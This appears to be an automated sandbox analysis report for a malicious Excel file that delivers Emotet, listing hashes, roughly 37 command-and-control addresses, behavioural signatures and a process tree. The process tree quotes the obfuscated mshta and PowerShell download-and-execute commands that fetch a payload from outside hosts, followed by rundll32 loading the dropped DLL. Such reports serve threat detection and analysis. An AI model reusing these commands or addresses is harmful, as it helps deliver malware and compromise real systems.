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Analysis
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max time kernel
111s -
max time network
136s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
21/01/2022, 05:10
Behavioral task
behavioral1
Sample
2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41.xls
Resource
win10-en-20211208
General
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Target
2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41.xls
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Size
69KB
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MD5
3a1495184751bb9daebf21f57c88896d
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SHA1
5aa023ed500a7f8b476c404b26e79a7600ecd3d6
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SHA256
2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41
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SHA512
738dee6362259030dafd18956535c5726a3e7bcb783392eb0b9fcc48dc76c6dad8fae675fc56262936847b75b92c2aecbda2c00f6c838eb084a45a027fa3a827
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Extracted
http://185.7.214.7/fer/fe2.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4028 660 cmd.exe 68 -
Blocklisted process makes network request 4 IoCs
flow pid Process 30 840 mshta.exe 37 3912 powershell.exe 39 3912 powershell.exe 51 1208 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 684 rundll32.exe 980 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Mguqqbjvilfdcdq\ckmxdouje.lxe rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 2348 840 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 660 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 3912 powershell.exe 3912 powershell.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 2348 WerFault.exe 3912 powershell.exe 1208 rundll32.exe 1208 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3912 powershell.exe Token: SeDebugPrivilege 2348 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 660 wrote to memory of 4028 660 EXCEL.EXE 72 PID 660 wrote to memory of 4028 660 EXCEL.EXE 72 PID 4028 wrote to memory of 840 4028 cmd.exe 74 PID 4028 wrote to memory of 840 4028 cmd.exe 74 PID 840 wrote to memory of 3912 840 mshta.exe 76 PID 840 wrote to memory of 3912 840 mshta.exe 76 PID 3912 wrote to memory of 2704 3912 powershell.exe 79 PID 3912 wrote to memory of 2704 3912 powershell.exe 79 PID 2704 wrote to memory of 684 2704 cmd.exe 80 PID 2704 wrote to memory of 684 2704 cmd.exe 80 PID 2704 wrote to memory of 684 2704 cmd.exe 80 PID 684 wrote to memory of 980 684 rundll32.exe 81 PID 684 wrote to memory of 980 684 rundll32.exe 81 PID 684 wrote to memory of 980 684 rundll32.exe 81 PID 980 wrote to memory of 3748 980 rundll32.exe 84 PID 980 wrote to memory of 3748 980 rundll32.exe 84 PID 980 wrote to memory of 3748 980 rundll32.exe 84 PID 3748 wrote to memory of 1208 3748 rundll32.exe 85 PID 3748 wrote to memory of 1208 3748 rundll32.exe 85 PID 3748 wrote to memory of 1208 3748 rundll32.exe 85
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:660 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:684 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:980 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mguqqbjvilfdcdq\ckmxdouje.lxe",vcOaqKjJ8⤵
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mguqqbjvilfdcdq\ckmxdouje.lxe",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1208
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 840 -s 16684⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2348
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